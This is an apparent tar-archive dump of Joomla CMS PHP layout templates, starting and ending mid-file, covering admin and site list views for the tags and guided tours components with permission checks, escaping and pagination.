                            <?php echo HTMLHelper::_('searchtools.sort', 'COM_TAGS_COUNT_TAGGED_ITEMS', 'countTaggedItems', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="w-5 d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
                        </th>
                    </tr>
                </thead>
                <tbody <?php if ($saveOrder) :
                    ?> class="js-draggable" data-url="<?php echo $saveOrderingUrl; ?>" data-direction="<?php echo strtolower($listDirn); ?>" data-nested="true"<?php
                       endif; ?>>
                <?php
                foreach ($this->items as $i => $item) :
                    $orderkey   = array_search($item->id, $this->ordering[$item->parent_id]);
                    $canCreate  = $user->authorise('core.create', 'com_tags');
                    $canEdit    = $user->authorise('core.edit', 'com_tags');
                    $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out == $user->get('id') || is_null($item->checked_out);
                    $canChange  = $user->authorise('core.edit.state', 'com_tags') && $canCheckin;

                    // Get the parents of item for sorting
                    if ($item->level > 1) {
                        $parentsStr = '';
                        $_currentParentId = $item->parent_id;
                        $parentsStr = ' ' . $_currentParentId;
                        for ($j = 0; $j < $item->level; $j++) {
                            foreach ($this->ordering as $k => $v) {
                                $v = implode('-', $v);
                                $v = '-' . $v . '-';
                                if (strpos($v, '-' . $_currentParentId . '-') !== false) {
                                    $parentsStr .= ' ' . $k;
                                    $_currentParentId = $k;
                                    break;
                                }
                            }
                        }
                    } else {
                        $parentsStr = '';
                    }
                    ?>
                        <tr class="row<?php echo $i % 2; ?>" data-draggable-group="<?php echo $item->parent_id; ?>"
                            data-item-id="<?php echo $item->id; ?>" data-parents="<?php echo $parentsStr; ?>"
                            data-level="<?php echo $item->level; ?>">
                            <td class="text-center">
                                <?php echo HTMLHelper::_('grid.id', $i, $item->id, false, 'cid', 'cb', $item->title); ?>
                            </td>
                            <td class="text-center d-none d-md-table-cell">
                                <?php
                                $iconClass = '';
                                if (!$canChange) {
                                    $iconClass = ' inactive';
                                } elseif (!$saveOrder) {
                                    $iconClass = ' inactive" title="' . Text::_('JORDERINGDISABLED');
                                }
                                ?>
                                <span class="sortable-handler<?php echo $iconClass ?>">
                                    <span class="icon-ellipsis-v"></span>
                                </span>
                                <?php if ($canChange && $saveOrder) : ?>
                                    <input type="text" class="hidden" name="order[]" size="5" value="<?php echo $orderkey + 1; ?>">
                                <?php endif; ?>
                            </td>
                            <td class="text-center">
                                <?php echo HTMLHelper::_('jgrid.published', $item->published, $i, 'tags.', $canChange); ?>
                            </td>
                            <th scope="row">
                                <?php echo LayoutHelper::render('joomla.html.treeprefix', ['level' => $item->level]); ?>
                                <?php if ($item->checked_out) : ?>
                                    <?php echo HTMLHelper::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'tags.', $canCheckin); ?>
                                <?php endif; ?>
                                <?php if ($canEdit) : ?>
                                    <a href="<?php echo Route::_('index.php?option=com_tags&task=tag.edit&id=' . $item->id); ?>" title="<?php echo Text::_('JACTION_EDIT'); ?> <?php echo $this->escape($item->title); ?>">
                                        <?php echo $this->escape($item->title); ?></a>
                                <?php else : ?>
                                    <?php echo $this->escape($item->title); ?>
                                <?php endif; ?>
                                <div class="small" title="<?php echo $this->escape($item->path); ?>">
                                    <?php if (empty($item->note)) : ?>
                                        <?php echo Text::sprintf('JGLOBAL_LIST_ALIAS', $this->escape($item->alias)); ?>
                                    <?php else : ?>
                                        <?php echo Text::sprintf('JGLOBAL_LIST_ALIAS_NOTE', $this->escape($item->alias), $this->escape($item->note)); ?>
                                    <?php endif; ?>
                                </div>
                            </th>

                        <?php if (isset($this->items[0]) && property_exists($this->items[0], 'count_published')) : ?>
                            <td class="text-center btns d-none d-md-table-cell itemnumber">
                                <a class="btn <?php echo $item->count_published > 0 ? 'btn-success' : 'btn-secondary'; ?>" title="<?php echo Text::_('COM_TAGS_COUNT_PUBLISHED_ITEMS'); ?>" href="<?php echo Route::_('index.php?option=' . $component . ($mode ? '&extension=' . $section : '&view=' . $section) . '&filter[tag]=' . (int) $item->id . '&filter[published]=1'); ?>">
                                    <?php echo $item->count_published; ?></a>
                            </td>
                        <?php endif; ?>
                        <?php if (isset($this->items[0]) && property_exists($this->items[0], 'count_unpublished')) : ?>
                            <td class="text-center btns d-none d-md-table-cell itemnumber">
                                <a class="btn <?php echo $item->count_unpublished > 0 ? 'btn-danger' : 'btn-secondary'; ?>" title="<?php echo Text::_('COM_TAGS_COUNT_UNPUBLISHED_ITEMS'); ?>" href="<?php echo Route::_('index.php?option=' . $component . ($mode ? '&extension=' . $section : '&view=' . $section) . '&filter[tag]=' . (int) $item->id . '&filter[published]=0'); ?>">
                                    <?php echo $item->count_unpublished; ?></a>
                            </td>
                        <?php endif; ?>
                        <?php if (isset($this->items[0]) && property_exists($this->items[0], 'count_archived')) : ?>
                            <td class="text-center btns d-none d-md-table-cell itemnumber">
                                <a class="btn <?php echo $item->count_archived > 0 ? 'btn-info' : 'btn-secondary'; ?>" title="<?php echo Text::_('COM_TAGS_COUNT_ARCHIVED_ITEMS'); ?>" href="<?php echo Route::_('index.php?option=' . $component . ($mode ? '&extension=' . $section : '&view=' . $section) . '&filter[tag]=' . (int) $item->id . '&filter[published]=2'); ?>">
                                    <?php echo $item->count_archived; ?></a>
                            </td>
                        <?php endif; ?>
                        <?php if (isset($this->items[0]) && property_exists($this->items[0], 'count_trashed')) : ?>
                            <td class="text-center btns d-none d-md-table-cell itemnumber">
                                <a class="btn <?php echo $item->count_trashed > 0 ? 'btn-danger' : 'btn-secondary'; ?>" title="<?php echo Text::_('COM_TAGS_COUNT_TRASHED_ITEMS'); ?>" href="<?php echo Route::_('index.php?option=' . $component . ($mode ? '&extension=' . $section : '&view=' . $section) . '&filter[tag]=' . (int) $item->id . '&filter[published]=-2'); ?>">
                                    <?php echo $item->count_trashed; ?></a>
                            </td>
                        <?php endif; ?>
                        <td class="small d-none d-md-table-cell">
                            <?php echo $this->escape($item->access_title); ?>
                        </td>
                        <?php if (Multilanguage::isEnabled()) : ?>
                            <td class="small d-none d-md-table-cell">
                                <?php echo LayoutHelper::render('joomla.content.language', $item); ?>
                            </td>
                        <?php endif; ?>
                        <td class="small d-none d-md-table-cell text-center">
                            <span class="badge bg-info">
                                <?php echo $item->countTaggedItems; ?>
                            </span>
                        </td>
                        <td class="d-none d-md-table-cell">
                            <?php echo (int) $item->id; ?>
                        </td>
                    </tr>
                <?php endforeach; ?>
                </tbody>
            </table>

            <?php // load the pagination. ?>
            <?php echo $this->pagination->getListFooter(); ?>

            <?php // Load the batch processing form if user is allowed ?>
            <?php
            if (
                $user->authorise('core.create', 'com_tags')
                && $user->authorise('core.edit', 'com_tags')
                && $user->authorise('core.edit.state', 'com_tags')
            ) : ?>
                <?php echo HTMLHelper::_(
                    'bootstrap.renderModal',
                    'collapseModal',
                    [
                        'title'  => Text::_('COM_TAGS_BATCH_OPTIONS'),
                        'footer' => $this->loadTemplate('batch_footer'),
                    ],
                    $this->loadTemplate('batch_body')
                ); ?>
            <?php endif; ?>
        <?php endif; ?>

        <input type="hidden" name="task" value="">
        <input type="hidden" name="boxchecked" value="0">
        <?php echo HTMLHelper::_('form.token'); ?>
    </div>
</form>
tags/default_items.php000064400000016260151730233450011050 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Tags\Site\Helper\RouteHelper;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('com_tags.tags-default');

// Get the user object.
$user = Factory::getUser();

// Check if user is allowed to add/edit based on tags permissions.
$canEdit      = $user->authorise('core.edit', 'com_tags');
$canCreate    = $user->authorise('core.create', 'com_tags');
$canEditState = $user->authorise('core.edit.state', 'com_tags');

$columns = $this->params->get('tag_columns', 1);

// Avoid division by 0 and negative columns.
if ($columns < 1) {
    $columns = 1;
}

$bsspans = floor(12 / $columns);

if ($bsspans < 1) {
    $bsspans = 1;
}

$bscolumns = min($columns, floor(12 / $bsspans));
$n         = count($this->items);
?>

<div class="com-tags__items">
    <form action="<?php echo htmlspecialchars(Uri::getInstance()->toString()); ?>" method="post" name="adminForm" id="adminForm">
        <?php if ($this->params->get('filter_field') || $this->params->get('show_pagination_limit')) : ?>
            <?php if ($this->params->get('filter_field')) : ?>
                <div class="com-tags-tags__filter btn-group">
                    <label class="filter-search-lbl visually-hidden" for="filter-search">
                        <?php echo Text::_('COM_TAGS_TITLE_FILTER_LABEL'); ?>
                    </label>
                    <input
                        type="text"
                        name="filter-search"
                        id="filter-search"
                        value="<?php echo $this->escape($this->state->get('list.filter')); ?>"
                        class="inputbox" onchange="document.adminForm.submit();"
                        placeholder="<?php echo Text::_('COM_TAGS_TITLE_FILTER_LABEL'); ?>"
                    >
                    <button type="submit" name="filter_submit" class="btn btn-primary"><?php echo Text::_('JGLOBAL_FILTER_BUTTON'); ?></button>
                    <button type="reset" name="filter-clear-button" class="btn btn-secondary"><?php echo Text::_('JSEARCH_FILTER_CLEAR'); ?></button>
                </div>
            <?php endif; ?>
            <?php if ($this->params->get('show_pagination_limit')) : ?>
                <div class="btn-group float-end">
                    <label for="limit" class="visually-hidden">
                        <?php echo Text::_('JGLOBAL_DISPLAY_NUM'); ?>
                    </label>
                    <?php echo $this->pagination->getLimitBox(); ?>
                </div>
            <?php endif; ?>

            <input type="hidden" name="limitstart" value="">
            <input type="hidden" name="task" value="">
        <?php endif; ?>
    </form>

    <?php if ($this->items == false || $n === 0) : ?>
        <div class="alert alert-info">
            <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
            <?php echo Text::_('COM_TAGS_NO_TAGS'); ?>
        </div>
    <?php else : ?>
        <?php foreach ($this->items as $i => $item) : ?>
            <?php if ($n === 1 || $i === 0 || $bscolumns === 1 || $i % $bscolumns === 0) : ?>
                <ul class="com-tags__category category list-group">
            <?php endif; ?>

            <li class="list-group-item list-group-item-action">
                <?php if ((!empty($item->access)) && in_array($item->access, $this->user->getAuthorisedViewLevels())) : ?>
                    <h3 class="mb-0">
                        <a href="<?php echo Route::_(RouteHelper::getComponentTagRoute($item->id . ':' . $item->alias, $item->language)); ?>">
                            <?php echo $this->escape($item->title); ?>
                        </a>
                    </h3>
                <?php endif; ?>

                <?php if ($this->params->get('all_tags_show_tag_image') && !empty($item->images)) : ?>
                    <?php $images = json_decode($item->images); ?>
                    <span class="tag-body">
                        <?php if (!empty($images->image_intro)) : ?>
                            <?php $imgfloat = empty($images->float_intro) ? $this->params->get('float_intro') : $images->float_intro; ?>
                            <div class="float-<?php echo htmlspecialchars($imgfloat, ENT_QUOTES, 'UTF-8'); ?> item-image">
                                <?php $imageOptions = []; ?>
                                <?php if ($images->image_intro_caption) : ?>
                                        <?php $imageOptions['title'] = $images->image_intro_caption; ?>
                                        <?php $imageOptions['class'] = 'caption'; ?>
                                <?php endif; ?>
                                <?php echo HTMLHelper::_('image', $images->image_intro, $images->image_intro_alt, $imageOptions); ?>
                            </div>
                        <?php endif; ?>
                    </span>
                <?php endif; ?>

                <?php if (($this->params->get('all_tags_show_tag_description', 1) && !empty($item->description)) || $this->params->get('all_tags_show_tag_hits')) : ?>
                    <div class="caption">
                        <?php if ($this->params->get('all_tags_show_tag_description', 1) && !empty($item->description)) : ?>
                            <span class="tag-body">
                                <?php echo HTMLHelper::_('string.truncate', $item->description, $this->params->get('all_tags_tag_maximum_characters')); ?>
                            </span>
                        <?php endif; ?>
                        <?php if ($this->params->get('all_tags_show_tag_hits')) : ?>
                            <span class="list-hits badge bg-info">
                                <?php echo Text::sprintf('JGLOBAL_HITS_COUNT', $item->hits); ?>
                            </span>
                        <?php endif; ?>
                    </div>
                <?php endif; ?>
            </li>

            <?php if (($i === 0 && $n === 1) || $i === $n - 1 || $bscolumns === 1 || (($i + 1) % $bscolumns === 0)) : ?>
                </ul>
            <?php endif; ?>

        <?php endforeach; ?>
    <?php endif; ?>

    <?php // Add pagination links ?>
    <?php if (!empty($this->items)) : ?>
        <?php if (($this->params->def('show_pagination', 2) == 1 || ($this->params->get('show_pagination') == 2)) && ($this->pagination->pagesTotal > 1)) : ?>
            <div class="com-tags__pagination w-100">
                <?php if ($this->params->def('show_pagination_results', 1)) : ?>
                    <p class="counter float-end pt-3 pe-2">
                        <?php echo $this->pagination->getPagesCounter(); ?>
                    </p>
                <?php endif; ?>
                <?php echo $this->pagination->getPagesLinks(); ?>
            </div>
        <?php endif; ?>
    <?php endif; ?>
</div>
tours/emptystate.php000064400000001532151730245620010636 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_guidedtours
 *
 * @copyright   (C) 2023 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Layout\LayoutHelper;

$displayData = [
    'textPrefix' => 'COM_GUIDEDTOURS_TOURS_LIST',
    'formURL'    => 'index.php?option=com_guidedtours&view=tours',
    'helpURL'    => 'https://docs.joomla.org/Special:MyLanguage/Help4.x:Guided_Tours',
    'icon'       => 'icon-map-signs',
];

$user = Factory::getApplication()->getIdentity();

if ($user->authorise('core.create', 'com_guidedtours')) {
    $displayData['createURL'] = 'index.php?option=com_guidedtours&task=tour.add';
}

echo LayoutHelper::render('joomla.content.emptystate', $displayData);
tours/default.xml000064400000000324151730245620010072 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_GUIDEDTOURS_TOURS_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_GUIDEDTOURS_TOURS_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
tours/default.php000064400000026360151730245620010071 0ustar00<?php

/**
 * @package       Joomla.Administrator
 * @subpackage    com_guidedtours
 *
 * @copyright     (C) 2023 Open Source Matters, Inc. <https://www.joomla.org>
 * @license       GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\Helpers\StringHelper;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Session\Session;
use Joomla\Component\Guidedtours\Administrator\View\Tours\HtmlView;

/** @var  HtmlView  $this */

/** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('table.columns')
    ->useScript('multiselect');

try {
    $app = Factory::getApplication();
} catch (Exception $e) {
    die('Failed to get app');
}

$user = $app->getIdentity();
$userId = $user->get('id');
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn = $this->escape($this->state->get('list.direction'));
$saveOrder = $listOrder == 'a.ordering';
$section = null;
$mode = false;

$canEdit              = $user->authorise('core.edit', 'com_guidedtours');
$canEditOwnTour       = $user->authorise('core.edit.own', 'com_guidedtours');
$canEditStateTour     = $user->authorise('core.edit.state', 'com_guidedtours');
$hasCheckinPermission = $user->authorise('core.manage', 'com_checkin');

if ($saveOrder && !empty($this->items)) {
    $saveOrderingUrl =
        'index.php?option=com_guidedtours&task=tours.saveOrderAjax&tmpl=component&'
        . Session::getFormToken() . '=1';
    HTMLHelper::_('draggablelist.draggable');
}
?>

<form action="<?php echo Route::_('index.php?option=com_guidedtours&view=tours'); ?>"
      method="post" name="adminForm" id="adminForm">
    <div id="j-main-container" class="j-main-container">
        <?php
        // Search tools bar
        echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this]);
        ?>

        <!-- If no tours -->
        <?php if (empty($this->items)) :
            ?>
            <!-- No tours -->
            <div class="alert alert-info">
                <span class="icon-info-circle" aria-hidden="true"></span>
                <span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
            </div>
        <?php endif; ?>

        <!-- If there are tours, we start with the table -->
        <?php if (!empty($this->items)) :
            ?>
            <!-- Tours table starts here -->
            <table class="table" id="toursList">

                <caption class="visually-hidden">
                    <?php echo Text::_('COM_GUIDEDTOURS_GUIDEDTOURS_TABLE_CAPTION'); ?>,
                    <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                    <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                </caption>

                <!-- Tours table header -->
                <thead>
                <tr>
                    <td class="w-1 text-center">
                        <?php echo HTMLHelper::_('grid.checkall'); ?>
                    </td>
                    <!-- Ordering?-->
                    <th scope="col" class="w-3 text-center d-none d-md-table-cell">
                        <?php echo HTMLHelper::_(
                            'searchtools.sort',
                            '',
                            'a.ordering',
                            $listDirn,
                            $listOrder,
                            null,
                            'asc',
                            'JGRID_HEADING_ORDERING',
                            'icon-sort'
                        ); ?>
                    </th>
                    <th scope="col" class="w-1 text-center">
                        <?php echo HTMLHelper::_(
                            'searchtools.sort',
                            'JSTATUS',
                            'a.published',
                            $listDirn,
                            $listOrder
                        ); ?>
                    </th>

                    <th scope="col">
                        <?php echo Text::_('COM_GUIDEDTOURS_TITLE'); ?>
                    </th>
                    <th scope="col" class="d-none d-md-table-cell">
                        <?php echo Text::_('COM_GUIDEDTOURS_DESCRIPTION'); ?>
                    </th>
                    <th scope="col" class="w-10 text-center d-none d-md-table-cell">
                        <?php echo Text::_('COM_GUIDEDTOURS_STEPS'); ?>
                    </th>
                    <th scope="col" class="text-center w-10 d-none d-md-table-cell">
                        <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ACCESS', 'a.access', $listDirn, $listOrder); ?>
                    </th>

                    <!-- Add language types if multi-language enabled -->
                    <?php if (Multilanguage::isEnabled()) : ?>
                        <th scope="col" class="text-center w-10 d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_LANGUAGE', 'a.language', $this->state->get('list.direction'), $this->state->get('list.ordering')); ?>
                        </th>
                    <?php endif; ?>

                    <th scope="col" class="w-10 text-center d-none d-md-table-cell">
                        <?php echo HTMLHelper::_(
                            'searchtools.sort',
                            'JGRID_HEADING_ID',
                            'a.id',
                            $listDirn,
                            $listOrder
                        ); ?>
                    </th>
                </tr>
                </thead>

                <!-- Table body begins -->
                <tbody <?php if ($saveOrder) : ?>
                    class="js-draggable" data-url="<?php echo $saveOrderingUrl; ?>" data-direction="<?php echo strtolower($listDirn); ?>" data-nested="true" <?php
                       endif; ?>>
                <?php foreach ($this->items as $i => $item) :
                    $canEditOwn = $canEditOwnTour && $item->created_by == $userId;
                    $canCheckin = $hasCheckinPermission || $item->checked_out == $userId || is_null($item->checked_out);
                    $canChange  = $canEditStateTour && $canCheckin;
                    ?>

                    <!-- Row begins -->
                    <tr class="row<?php echo $i % 2; ?>" data-draggable-group="none">
                        <!-- Item Checkbox -->
                        <td class="text-center">
                            <?php echo HTMLHelper::_('grid.id', $i, $item->id, false, 'cid', 'cb', $item->title); ?>
                        </td>

                        <!-- Draggable handle -->
                        <td class="text-center d-none d-md-table-cell">
                            <?php
                            $iconClass = '';

                            if (!$canChange) {
                                $iconClass = ' inactive';
                            } elseif (!$saveOrder) {
                                $iconClass = ' inactive" title="' . Text::_('JORDERINGDISABLED');
                            }
                            ?>

                            <span class="sortable-handler <?php echo $iconClass; ?>">
                                <span class="icon-ellipsis-v" aria-hidden="true"></span>
                            </span>

                            <?php if ($canChange && $saveOrder) : ?>
                                <input type="text" class="hidden text-area-order" name="order[]" size="5" value="<?php echo $item->ordering; ?>">
                            <?php endif; ?>
                        </td>

                        <!-- Item State -->
                        <td class="text-center">
                            <?php echo HTMLHelper::_(
                                'jgrid.published',
                                $item->published,
                                $i,
                                'tours.',
                                $canChange
                            ); ?>
                        </td>

                        <th scope="row" class="has-context">
                            <div>
                                <?php if ($item->checked_out) : ?>
                                    <?php echo HTMLHelper::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'tours.', $canCheckin); ?>
                                <?php endif; ?>
                                <?php if ($canEdit || $canEditOwn) : ?>
                                    <a href="<?php echo Route::_('index.php?option=com_guidedtours&task=tour.edit&id=' . $item->id); ?>" title="<?php echo Text::_('JACTION_EDIT'); ?> <?php echo $this->escape($item->title); ?>">
                                        <?php echo $this->escape($item->title); ?>
                                    </a>
                                <?php else : ?>
                                    <?php echo $this->escape($item->title); ?>
                                <?php endif; ?>
                                <?php if ($item->note) : ?>
                                    <div class="small break-word">
                                        <?php echo Text::sprintf('JGLOBAL_LIST_NOTE', $this->escape($item->note)); ?>
                                    </div>
                                <?php endif; ?>
                            </div>
                        </th>

                        <td class="d-none d-md-table-cell">
                            <?php echo StringHelper::truncate($item->description, 200, true, false); ?>
                        </td>

                        <td class="text-center btns d-none d-md-table-cell itemnumber">
                            <a class="btn btn-info" href="index.php?option=com_guidedtours&view=steps&tour_id=<?php echo $item->id; ?>">
                                <?php echo $item->steps_count; ?>
                            </a>
                        </td>

                        <!-- Adds access labels -->
                        <td class="small text-center d-none d-md-table-cell">
                            <?php echo $this->escape($item->access_level); ?>
                        </td>

                        <?php if (Multilanguage::isEnabled()) : ?>
                            <td class="text-center small d-none d-md-table-cell">
                                <?php echo LayoutHelper::render('joomla.content.language', $item); ?>
                            </td>
                        <?php endif; ?>

                        <!-- Tour ID -->
                        <td class="d-none d-md-table-cell text-center">
                            <?php echo (int) $item->id; ?>
                        </td>
                    </tr>
                <?php endforeach; ?>
                </tbody>
            </table>

            <?php
            // Load the pagination.
            echo $this->pagination->getListFooter();
            ?>
        <?php endif; ?>

        <input type="hidden" name="task" value="">
        <input type="hidden" name="boxchecked" value="0">
        <?php echo HTMLHelper::_('form.token'); ?>
    </div>
</form>
steps/default.php000064400000024206151730245620010050 0ustar00<?php

/**
 * @package       Joomla.Administrator
 * @subpackage    com_guidedtours
 *
 * @copyright     (C) 2023 Open Source Matters, Inc. <https://www.joomla.org>
 * @license       GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\Helpers\StringHelper;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Session\Session;
use Joomla\Component\Guidedtours\Administrator\Extension\GuidedtoursComponent;
use Joomla\Component\Guidedtours\Administrator\View\Steps\HtmlView;

/** @var  HtmlView  $this */

/** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('table.columns')
    ->useScript('multiselect');

$user      = Factory::getApplication()->getIdentity();
$userId    = $user->get('id');
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$saveOrder = $listOrder == 'a.ordering';
$section   = null;
$mode      = false;
$tourId    = $this->state->get('filter.tour_id');

$canEdit              = $user->authorise('core.edit', 'com_guidedtours');
$canEditOwnTour       = $user->authorise('core.edit.own', 'com_guidedtours');
$canEditStateTour     = $user->authorise('core.edit.state', 'com_guidedtours');
$hasCheckinPermission = $user->authorise('core.manage', 'com_checkin');

if ($saveOrder && !empty($this->items)) {
    $saveOrderingUrl = 'index.php?option=com_guidedtours&task=steps.saveOrderAjax&tmpl=component&' . Session::getFormToken() . '=1';
    HTMLHelper::_('draggablelist.draggable');
}
?>

<form action="<?php echo Route::_('index.php?option=com_guidedtours&view=steps&tour_id=' . $tourId); ?>"
      method="post" name="adminForm" id="adminForm">
    <div id="j-main-container" class="j-main-container">
        <?php
        // Search tools bar
        echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this]);
        ?>

        <!-- If no steps -->
        <?php if (empty($this->items)) :
            ?>
            <!-- No steps -->
            <div class="alert alert-info">
                <span class="icon-info-circle" aria-hidden="true"></span>
                <span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
            </div>
        <?php endif; ?>

        <!-- If there are steps, we start with the table -->
        <?php if (!empty($this->items)) :
            ?>
            <!-- Steps table starts here -->
            <table class="table" id="stepsList">

                <caption class="visually-hidden">
                    <?php echo Text::_('COM_GUIDEDTOURS_STEPS_TABLE_CAPTION'); ?>,
                    <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?></span>,
                    <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                </caption>

                <!-- Steps table header -->
                <thead>
                <tr>
                    <td class="w-1 text-center">
                        <?php echo HTMLHelper::_('grid.checkall'); ?>
                    </td>
                    <!-- Ordering?-->
                    <th scope="col" class="w-3 text-center d-none d-md-table-cell">
                        <?php echo HTMLHelper::_(
                            'searchtools.sort',
                            '',
                            'a.ordering',
                            $listDirn,
                            $listOrder,
                            null,
                            'asc',
                            'JGRID_HEADING_ORDERING',
                            'icon-sort'
                        ); ?>
                    </th>
                    <th scope="col" class="w-1 text-center">
                        <?php echo HTMLHelper::_(
                            'searchtools.sort',
                            'JSTATUS',
                            'a.published',
                            $listDirn,
                            $listOrder
                        ); ?>
                    </th>
                    <th scope="col">
                        <?php echo Text::_('COM_GUIDEDTOURS_STEP_TITLE'); ?>
                    </th>
                    <th scope="col" class="d-none d-md-table-cell">
                        <?php echo Text::_('COM_GUIDEDTOURS_DESCRIPTION'); ?>
                    </th>
                    <th scope="col" class="d-none d-md-table-cell">
                        <?php echo HTMLHelper::_(
                            'searchtools.sort',
                            'COM_GUIDEDTOURS_STEP_TYPE',
                            'a.type',
                            $listDirn,
                            $listOrder
                        ); ?>
                    </th>

                    <th scope="col" class="w-10 text-center d-none d-md-table-cell">
                        <?php echo HTMLHelper::_(
                            'searchtools.sort',
                            'JGRID_HEADING_ID',
                            'a.id',
                            $listDirn,
                            $listOrder
                        ); ?>
                    </th>
                </tr>
                </thead>

                <!-- Table body begins -->
                <tbody <?php if ($saveOrder) : ?>
                    class="js-draggable" data-url="<?php echo $saveOrderingUrl; ?>" data-direction="<?php echo strtolower($listDirn); ?>" data-nested="true" <?php
                       endif; ?>>
                <?php foreach ($this->items as $i => $item) :
                    $canEditOwn = $canEditOwnTour && $item->created_by == $userId;
                    $canCheckin = $hasCheckinPermission || $item->checked_out == $userId || is_null($item->checked_out);
                    $canChange  = $canEditStateTour && $canCheckin;
                    ?>

                    <!-- Row begins -->
                    <tr class="row<?php echo $i % 2; ?>" data-draggable-group="none">
                        <!-- Item Checkbox -->
                        <td class="text-center">
                            <?php echo HTMLHelper::_('grid.id', $i, $item->id, false, 'cid', 'cb', $item->title); ?>
                        </td>

                        <!-- Draggable handle -->
                        <td class="text-center d-none d-md-table-cell">
                            <?php
                            $iconClass = '';

                            if (!$canChange) {
                                $iconClass = ' inactive';
                            } elseif (!$saveOrder) {
                                $iconClass = ' inactive" title="' . Text::_('JORDERINGDISABLED');
                            }
                            ?>

                            <span class="sortable-handler <?php echo $iconClass; ?>">
                                <span class="icon-ellipsis-v" aria-hidden="true"></span>
                            </span>

                            <?php if ($canChange && $saveOrder) : ?>
                                <input type="text" class="hidden text-area-order" name="order[]" size="5" value="<?php echo $item->ordering; ?>">
                            <?php endif; ?>
                        </td>

                        <!-- Step State -->
                        <td class="text-center">
                            <?php echo HTMLHelper::_(
                                'jgrid.published',
                                $item->published,
                                $i,
                                'steps.',
                                $canChange
                            ); ?>
                        </td>

                        <!-- Step name, edit link, and note -->
                        <th scope="row">
                            <div>
                                <?php if ($item->checked_out) : ?>
                                    <?php echo HTMLHelper::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'steps.', $canCheckin); ?>
                                <?php endif; ?>
                                <?php if ($canEdit || $canEditOwn) : ?>
                                    <a href="<?php echo Route::_('index.php?option=com_guidedtours&task=step.edit&id=' . $item->id); ?> " title="<?php echo Text::_('JACTION_EDIT'); ?> <?php echo $this->escape($item->title); ?>">
                                        <?php echo $this->escape($item->title); ?>
                                    </a>
                                <?php else : ?>
                                    <?php echo $this->escape($item->title); ?>
                                <?php endif; ?>
                                <?php if ($item->note) : ?>
                                    <div class="small break-word">
                                        <?php echo Text::sprintf('JGLOBAL_LIST_NOTE', $this->escape($item->note)); ?>
                                    </div>
                                <?php endif; ?>
                            </div>
                        </th>
                        <td class="d-none d-md-table-cell">
                            <?php echo StringHelper::truncate($item->description, 200, true, false); ?>
                        </td>

                        <!-- Step Type -->
                        <td class="d-none d-md-table-cell">
                            <?php echo Text::_(GuidedtoursComponent::STEP_TYPE_NAMES[$item->type]) ?>
                        </td>

                        <!-- Step ID -->
                        <td class="d-none d-md-table-cell text-center">
                            <?php echo (int) $item->id; ?>
                        </td>
                    </tr>
                <?php endforeach; ?>
                </tbody>
            </table>

            <?php
            // Load the pagination
            echo $this->pagination->getListFooter();
            ?>
        <?php endif; ?>

        <input type="hidden" name="task" value="">
        <input type="hidden" name="boxchecked" value="0">
        <?php echo HTMLHelper::_('form.token'); ?>
    </div>
</form>
steps/emptystate.php000064400000001534151730245620010622 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_guidedtours
 *
 * @copyright   (C) 2023 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

